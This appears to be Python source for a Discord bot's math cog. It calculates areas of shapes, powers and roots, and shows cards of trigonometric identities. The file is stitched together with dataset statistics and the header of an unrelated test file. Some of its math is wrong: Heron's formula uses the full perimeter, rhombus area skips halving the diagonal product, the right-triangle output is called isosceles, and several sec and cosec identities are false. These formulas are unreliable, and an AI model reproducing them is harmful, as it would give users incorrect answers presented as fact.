Button(style=ButtonStyle.blue, label="Circle"),
Button(style=ButtonStyle.red, label="Triangle"),
Button(style=ButtonStyle.green, label="Quadrilateral")
]
)
response: ComponentContext = await wait_for_component(self.bot, components=action_row)
if response.component['label'] == "Circle":
await ctx.send(embed=nextcord.Embed(title="Please enter the radius", color=nextcord.Color.random()))
r = await self.bot.wait_for("message", check=check)
if r.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a circle have a mention as a radius?",
color=nextcord.Color.random()))
return
r = r.content
for i in r:
if not i.isdigit() and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a circle can have a radius {r}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
area = round(22 * float(r) * float(r) / 7, 3)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of a circle with radius {r}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Triangle":
await ctx.send(
"Please choose the type of triangle you want to use",
components=[
Button(style=ButtonStyle.blue, label="Equilateral Triangle"),
Button(style=ButtonStyle.red, label="Isosceles Triangle"),
Button(style=ButtonStyle.green, label="Scalene Triangle"),
Button(style=ButtonStyle.grey, label="Right-Angled Triangle")
]
)
response: ComponentContext = await wait_for_component(self.bot, components=action_row)
if response.component['label'] == "Equilateral Triangle":
await ctx.send(embed=nextcord.Embed(title="Please enter the length of the side of the triangle.",
color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle have a mention as a side?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a side {s}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
area = round(math.sqrt(3) * float(s) * float(s) / 4, 3)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of an equilateral triangle with side {s}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Isosceles Triangle":
await ctx.send(
"Please enter the equal and the non-equal sides in this format\n`<equalside> <non-equalside>`")
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
e = split[0]
n = split[1]
area = round(float(n) * (math.sqrt(math.pow(float(e), 2) - (math.pow(float(e), 2) / 4))) / 2, 3)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of an isosceles triangle with equal sides of length {e} and a non-equal side of length {n}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Scalene Triangle":
await ctx.send(
embed=nextcord.Embed(title="Please enter the three sides in this format\n`<side1> <side2> <side3>`",
color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 3:
await ctx.send(embed=nextcord.Embed(
title=f"Only three numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
s1 = split[0]
s2 = split[1]
s3 = split[2]
s_heron = float(s1) + float(s2) + float(s3)
area = round(math.sqrt(s_heron * (s_heron - float(s1)) * (s_heron - float(s2)) * (s_heron - float(s3))),
3)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of a scalene triangle with sides of length {s1}, {s2} and {s3}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Right-Angled Triangle":
await ctx.send(embed=nextcord.Embed(
title="Please enter the two sides other then the hypotenuse.\n`<side1> <side2>`",
color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a triangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
b = split[0]
h = split[1]
area = round((float(b) * float(h)) / 2, 3)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of an isosceles triangle with the sides {b} and {h}, as long as they aren't the hypotenuses of the triangle!",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Quadrilateral":
await ctx.send(
"Please choose the type of quadrilateral you want to use",
components=[
Button(style=ButtonStyle.blue, label="Parallelogram"),
Button(style=ButtonStyle.red, label="Rectangle"),
Button(style=ButtonStyle.green, label="Rhombus"),
Button(style=ButtonStyle.gray, label="Square"),
Button(style=ButtonStyle.blue, label="Trapezium")
]
)
response: ComponentContext = await wait_for_component(self.bot, components=action_row)
if response.component['label'] == "Parallelogram":
await ctx.send(embed=nextcord.Embed(
title="Please enter the base and height of the parallelogram.\n`<base> <height>`",
color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a parallelogram can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a parallelogram can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
b = split[0]
h = split[1]
area = float(b) * float(h)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of an parallelogram with opposite sides of length {b} and {h}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Rectangle":
await ctx.send(embed=nextcord.Embed(
title="Please enter the length and breadth of the rectangle.\n`<length> <breadth>`",
color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a rectangle can have a mention as one of its SIDES?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a rectangle can have {s} as one of its SIDES?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
l = split[0]
b = split[1]
area = float(l) * float(b)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of an rectangle with opposite sides of length {l} and {b}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Rhombus":
await ctx.send(embed=nextcord.Embed(
title="Please enter the diagonals of the rhombus in this format\n`<diagonal1> <diagonal2>`",
color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a rhombus have a mention as a side?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a rhombus can have a side {s}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 2:
await ctx.send(embed=nextcord.Embed(
title=f"Only two numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
d1 = split[0]
d2 = split[1]
area = float(d1) * float(d2)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of a rhombus with diagonals {d1} and {d2}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Square":
await ctx.send(
embed=nextcord.Embed(title="Please enter the side of the square", color=nextcord.Color.random()))
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a square have a mention as a side?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a square can have a side {s}?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
area = math.pow(float(s), 2)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of a square with side {s}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
elif response.component['label'] == "Trapezium":
await ctx.send(
"Please enter the unequal sides of the trapezium, along with its height(altitude), in this format\n`<unequalside1> <unequalside2> <height/altitude>`")
s = await self.bot.wait_for("message", check=check)
if s.mentions:
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a trapezium can have a mention as one of its dimensions?",
color=nextcord.Color.random()))
return
s = s.content
for i in s:
if not i.isdigit() and i != " " and i != ".":
await ctx.send(embed=nextcord.Embed(title=f"Why do you think",
description=f"That a trapezium can have {s} as one of its DIMENSIONS?\nThe '{i}' there makes it useless",
color=nextcord.Color.random()))
return
split = s.split(" ")
if len(split) != 3:
await ctx.send(embed=nextcord.Embed(
title=f"Only three numbers needed, nothing more or less.\nI seriously don't know why you are failing at this.",
color=nextcord.Color.random()))
return
a = split[0]
b = split[1]
h = split[2]
area = round(((float(a) + float(b)) * float(h)) / 2, 3)
if area.is_integer() is True:
area = int(area)
embed = nextcord.Embed(title=f"{area}",
description=f"Is the area of a trapezium with unequal sides of length {a}, {b} and height of length{h}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="math",name="square", description="Gets the square of a number for you.",
options=[
create_option(name="number",
description="The number whose square you want",
option_type=3,
required=True)])
async def _square(self, ctx: SlashContext, number=""):
ans = await cf.power_funcs(ctx=ctx, number=number, power="2", power_or_root="power")
if ans is None:
return
embed = nextcord.Embed(title=f"{ans}",
description=f"Is the square of {number}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['sq'])
async def square(self, ctx, number=""):
ans = await cf.power_funcs(ctx=ctx, number=number, power="2", power_or_root="power")
if ans is None:
return
embed = nextcord.Embed(title=f"{ans}",
description=f"Is the square of {number}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="math",name="cube", description="Gets the cube of a number for you.",
options=[
create_option(name="number",
description="The number whose cube you want",
option_type=3,
required=True)])
async def _cube(self, ctx: SlashContext, number=""):
ans = await cf.power_funcs(ctx=ctx, number=number, power="3", power_or_root="power")
if ans is None:
return
embed = nextcord.Embed(title=f"{ans}",
description=f"Is the cube of {number}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['cb'])
async def cube(self, ctx, number=""):
ans = await cf.power_funcs(ctx=ctx, number=number, power="3", power_or_root="power")
if ans is None:
return
embed = nextcord.Embed(title=f"{ans}",
description=f"Is the cube of {number}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="math",name="squareroot", description="Gets the square root of a number for you.",
options=[
create_option(name="number",
description="The number whose square root you want",
option_type=3,
required=True)])
async def _squareroot(self, ctx: SlashContext, number=""):
ans = await cf.power_funcs(ctx=ctx, number=number, power="2", power_or_root="root")
if ans is None:
return
embed = nextcord.Embed(title=f"{ans}",
description=f"Is the square root of {number}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['sqrt'])
async def squareroot(self, ctx, number=""):
ans = await cf.power_funcs(ctx=ctx, number=number, power="2", power_or_root="root")
if ans is None:
return
embed = nextcord.Embed(title=f"{ans}",
description=f"Is the square root of {number}.",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="math",name="cuberoot", description="Gets the cube root of a number for you.",
options=[
create_option(name="number",
description="The number whose cube root you want",
option_type=3,
required=True)])
async def _cuberoot(self, ctx: SlashContext, number=""):
ans = await cf.power_funcs(ctx=ctx, number=number, power="3", power_or_root="root")
if ans is None:
return
embed = nextcord.Embed(title=f"{ans}",
description=f"Is the cube root of {number}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['cbrt'])
async def cuberoot(self, ctx, number=""):
ans = await cf.power_funcs(ctx=ctx, number=number, power="3", power_or_root="root")
if ans is None:
return
embed = nextcord.Embed(title=f"{ans}",
description=f"Is the cube root of {number}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="math",name="power", description="Gets any power of any number for you.",
options=[
create_option(name="number",
description="The number whose power is needed",
option_type=3,
required=True),
create_option(name="power",
description="The exponent required.",
option_type=3,
required=True)])
async def _power(self, ctx: SlashContext, number="", power=""):
ans = await cf.power_funcs(ctx=ctx, number=number, power=power, power_or_root="power")
if ans is None:
return
embed = nextcord.Embed(title=f"{ans}",
description=f"Is the value of {number} to the power {power}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['pow'])
async def power(self, ctx, number="", power=""):
ans = await cf.power_funcs(ctx=ctx, number=number, power=power, power_or_root="power")
if ans is None:
return
embed = nextcord.Embed(title=f"{ans}",
description=f"Is the value of {number} to the power {power}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="math",name="root", description="Gets any power of any number for you.",
options=[
create_option(name="number",
description="The number whose root is needed",
option_type=3,
required=True),
create_option(name="root",
description="The root required.",
option_type=3,
required=True)])
async def _root(self, ctx: SlashContext, number="", root=""):
ans = await cf.power_funcs(ctx=ctx, number=number, power=root, power_or_root="root")
if ans is None:
return
embed = nextcord.Embed(title=f"{ans}",
description=f"Is the value of root {root} of {number}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command()
async def root(self, ctx, number="", power=""):
ans = await cf.power_funcs(ctx=ctx, number=number, power=power, power_or_root="root")
if ans is None:
return
embed = nextcord.Embed(title=f"{ans}",
description=f"Is the value of root {power} of {number}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="math",name="trig", description="Gives you some info about trigonometric functions...")
async def _trig(self, ctx: SlashContext):
string = "sin A = Perpendicular/Hypotenuse\ncos A = Base/Hypotenuse\ntan A = Perpendicular/Base\nsec A = Hypotenuse/Base\ncosec A = Hypotenuse/Perpendicular\ncot A = Base/Perpendicular"
embed = nextcord.Embed(title=f"Trigonometric values are as follows:",
description=f"{string}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command()
async def trig(self, ctx):
string = "sin A = Perpendicular/Hypotenuse\ncos A = Base/Hypotenuse\ntan A = Perpendicular/Base\nsec A = Hypotenuse/Base\ncosec A = Hypotenuse/Perpendicular\ncot A = Base/Perpendicular"
embed = nextcord.Embed(title=f"Trigonometric values are as follows:",
description=f"{string}",
color=nextcord.Color.random())
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="trig",name="sin", description="Gives you info about sin")
async def _sin(self, ctx: SlashContext):
embed = nextcord.Embed(title=f"Info on the trigonometric value 'sin'",
color=nextcord.Color.random())
embed.add_field(name="Full Form:", value="sine", inline=False)
embed.add_field(name="Value in Respect to Triangular Sides:", value="Perpendicular/Hypotenuse", inline=False)
embed.add_field(name="Value of Reciprocal:", value="sin A = 1/cosec A", inline=False)
embed.add_field(name="Relation to the number 1:", value="sin² A = 1 - cos² A", inline=False)
embed.add_field(name="Relation to Other Trigonometric Function:",
value="sin A = tan A cos A\nsin A = cos A/cot A\nsin A = tan A/ sec A", inline=False)
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['sine'])
async def sin(self, ctx: SlashContext):
embed = nextcord.Embed(title=f"Info on the trigonometric value 'sin'",
color=nextcord.Color.random())
embed.add_field(name="Full Form:", value="sine", inline=False)
embed.add_field(name="Value in Respect to Triangular Sides:", value="Perpendicular/Hypotenuse", inline=False)
embed.add_field(name="Value of Reciprocal:", value="sin A = 1/cosec A", inline=False)
embed.add_field(name="Relation to the number 1:", value="sin² A = 1 - cos² A", inline=False)
embed.add_field(name="Relation to Other Trigonometric Function:",
value="sin A = tan A cos A\nsin A = cos A/cot A\nsin A = tan A/ sec A", inline=False)
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="trig",name="cos", description="Gives you info about cos")
async def _cos(self, ctx: SlashContext):
embed = nextcord.Embed(title=f"Info on the trigonometric value 'cos'",
color=nextcord.Color.random())
embed.add_field(name="Full Form:", value="cosine", inline=False)
embed.add_field(name="Value in Respect to Triangular Sides:", value="Base/Hypotenuse", inline=False)
embed.add_field(name="Value of Reciprocal:", value="cos A = 1/sec A", inline=False)
embed.add_field(name="Relation to the number 1:", value="cos² A = 1 - sin² A", inline=False)
embed.add_field(name="Relation to Other Trigonometric Function:",
value="cos A=sin A cot A\ncos A = sin A/tan A\ncos A = cot A/ sec A", inline=False)
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['cosine'])
async def cos(self, ctx):
embed = nextcord.Embed(title=f"Info on the trigonometric value 'cos'",
color=nextcord.Color.random())
embed.add_field(name="Full Form:", value="cosine", inline=False)
embed.add_field(name="Value in Respect to Triangular Sides:", value="Base/Hypotenuse", inline=False)
embed.add_field(name="Value of Reciprocal:", value="cos A = 1/sec A", inline=False)
embed.add_field(name="Relation to the number 1:", value="cos² A = 1 - sin² A", inline=False)
embed.add_field(name="Relation to Other Trigonometric Function:",
value="cos A=sin A cot A\ncos A = sin A/tan A\ncos A = cot A/ sec A", inline=False)
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="trig",name="tan", description="Gives you info about tan")
async def _tan(self, ctx: SlashContext):
embed = nextcord.Embed(title=f"Info on the trigonometric value 'tan'",
color=nextcord.Color.random())
embed.add_field(name="Full Form:", value="tangent", inline=False)
embed.add_field(name="Value in Respect to Triangular Sides:", value="Perpendicular/Base", inline=False)
embed.add_field(name="Value of Reciprocal:", value="tan A = 1/cot A", inline=False)
embed.add_field(name="Relation to the number 1:", value="tan² A = sec² A - 1 ", inline=False)
embed.add_field(name="Relation to Other Trigonometric Function:",
value="tan A = sin A sec A\ntan A = sin A/cos A\ntan A = sec A/ cosec A", inline=False)
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['tangent'])
async def tan(self, ctx):
embed = nextcord.Embed(title=f"Info on the trigonometric value 'tan'",
color=nextcord.Color.random())
embed.add_field(name="Full Form:", value="tangent", inline=False)
embed.add_field(name="Value in Respect to Triangular Sides:", value="Perpendicular/Base", inline=False)
embed.add_field(name="Value of Reciprocal:", value="tan A = 1/cot A", inline=False)
embed.add_field(name="Relation to the number 1:", value="tan² A = sec² A - 1 ", inline=False)
embed.add_field(name="Relation to Other Trigonometric Function:",
value="tan A = sin A sec A\ntan A = sin A/cos A\ntan A = sec A/ cosec A", inline=False)
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="trig",name="sec", description="Gives you info about sec")
async def _sec(self, ctx: SlashContext):
embed = nextcord.Embed(title=f"Info on the trigonometric value 'sec'",
color=nextcord.Color.random())
embed.add_field(name="Full Form:", value="secant", inline=False)
embed.add_field(name="Value in Respect to Triangular Sides:", value="Hypotenuse/Base", inline=False)
embed.add_field(name="Value of Reciprocal:", value="sec A = 1/cos A", inline=False)
embed.add_field(name="Relation to the number 1:", value="sec² A = 1 + tan² A", inline=False)
embed.add_field(name="Relation to Other Trigonometric Function:",
value="sec A=sin A cot A\nsec A = cot A/cosec A\nsec A = cos A/ tan A", inline=False)
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['secant'])
async def sec(self, ctx):
embed = nextcord.Embed(title=f"Info on the trigonometric value 'sec'",
color=nextcord.Color.random())
embed.add_field(name="Full Form:", value="secant", inline=False)
embed.add_field(name="Value in Respect to Triangular Sides:", value="Hypotenuse/Base", inline=False)
embed.add_field(name="Value of Reciprocal:", value="sec A = 1/cos A", inline=False)
embed.add_field(name="Relation to the number 1:", value="sec² A = 1 + tan² A", inline=False)
embed.add_field(name="Relation to Other Trigonometric Function:",
value="sec A=sin A cot A\nsec A = cot A/cosec A\nsec A = cos A/ tan A", inline=False)
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="trig",name="cosec", description="Gives you info about cosec")
async def _cosec(self, ctx: SlashContext):
embed = nextcord.Embed(title=f"Info on the trigonometric value 'cosec'",
color=nextcord.Color.random())
embed.add_field(name="Full Form:", value="cosecant", inline=False)
embed.add_field(name="Value in Respect to Triangular Sides:", value="Hypotenuse/Perpendicular", inline=False)
embed.add_field(name="Value of Reciprocal:", value="cosec A = 1/sin A", inline=False)
embed.add_field(name="Relation to the number 1:", value="cosec² A = 1 + cot² A", inline=False)
embed.add_field(name="Relation to Other Trigonometric Function:",
value="cosec A = tan A cos A\ncosec A = tan A/sec A\ncosec A = cos A/ cot A", inline=False)
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['cosecant'])
async def cosec(self, ctx):
embed = nextcord.Embed(title=f"Info on the trigonometric value 'cosec'",
color=nextcord.Color.random())
embed.add_field(name="Full Form:", value="cosecant", inline=False)
embed.add_field(name="Value in Respect to Triangular Sides:", value="Hypotenuse/Perpendicular", inline=False)
embed.add_field(name="Value of Reciprocal:", value="cosec A = 1/sin A", inline=False)
embed.add_field(name="Relation to the number 1:", value="cosec² A = 1 + cot² A", inline=False)
embed.add_field(name="Relation to Other Trigonometric Function:",
value="cosec A = tan A cos A\ncosec A = tan A/sec A\ncosec A = cos A/ cot A", inline=False)
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@cog_ext.cog_subcommand(base="trig",name="cot", description="Gives you info about cot")
async def _cot(self, ctx: SlashContext):
embed = nextcord.Embed(title=f"Info on the trigonometric value 'cot'",
color=nextcord.Color.random())
embed.add_field(name="Full Form:", value="cotangent", inline=False)
embed.add_field(name="Value in Respect to Triangular Sides:", value="Base/Perpendicular", inline=False)
embed.add_field(name="Value of Reciprocal:", value="cot A = 1/tan A", inline=False)
embed.add_field(name="Relation to the number 1:", value="cot² A = cosec² A - 1", inline=False)
embed.add_field(name="Relation to Other Trigonometric Function:",
value="cot A = cos A cosec A\ncot A = cos A/sin A\ncot A = cosec A/ sec A", inline=False)
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
@commands.command(aliases=['cotan', 'cotangent'])
async def cot(self, ctx):
embed = nextcord.Embed(title=f"Info on the trigonometric value 'cot'",
color=nextcord.Color.random())
embed.add_field(name="Full Form:", value="cotangent", inline=False)
embed.add_field(name="Value in Respect to Triangular Sides:", value="Base/Perpendicular", inline=False)
embed.add_field(name="Value of Reciprocal:", value="cot A = 1/tan A", inline=False)
embed.add_field(name="Relation to the number 1:", value="cot² A = cosec² A - 1", inline=False)
embed.add_field(name="Relation to Other Trigonometric Function:",
value="cot A = cos A cosec A\ncot A = cos A/sin A\ncot A = cosec A/ sec A", inline=False)
embed.set_footer(text=f"Information requested by {ctx.author.display_name}")
embed.set_thumbnail(url=ctx.author.avatar.url)
await ctx.send(embed=embed)
def setup(bot: commands.Bot):
bot.add_cog(Nerd(bot))
| 61.009479
| 193
| 0.507237
| 12,875
| 115,857
| 4.521243
| 0.026252
| 0.031334
| 0.047001
| 0.061913
| 0.983319
| 0.973321
| 0.973321
| 0.968185
| 0.966845
| 0.965539
| 0
| 0.00536
| 0.391353
| 115,857
| 1,898
| 194
| 61.041623
| 0.82014
| 0
| 0
| 0.918964
| 0
| 0.046307
| 0.232088
| 0.021457
| 0
| 0
| 0
| 0
| 0
| 1
| 0.003308
| false
| 0
| 0.006064
| 0.002205
| 0.085998
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d683154ce4afca18f601c59c078ce00624df1fce
| 4,656
|
py
|
Python
|
tests/test_compu_methods.py
|
andlaus/odxtools
|
8c4d806d7d23b9f87e571edffb3e90b7005688f4
|
[
"MIT"
] | 11
|
2021-11-25T12:23:51.000Z
|
2022-01-21T07:14:43.000Z
|
tests/test_compu_methods.py
|
andlaus/odxtools
|
8c4d806d7d23b9f87e571edffb3e90b7005688f4
|
[
"MIT"
] | 12
|
2021-11-12T08:20:48.000Z
|
2022-01-21T12:46:03.000Z
|
tests/test_compu_methods.py
|
andlaus/odxtools
|
8c4d806d7d23b9f87e571edffb3e90b7005688f4
|
[
"MIT"
] | 13
|
2022-01-25T12:04:35.000Z
|
2022-03-24T09:43:43.000Z
|
# SPDX-License-Identifier: MIT
# Copyright (c) 2022 MBition GmbH
import unittest
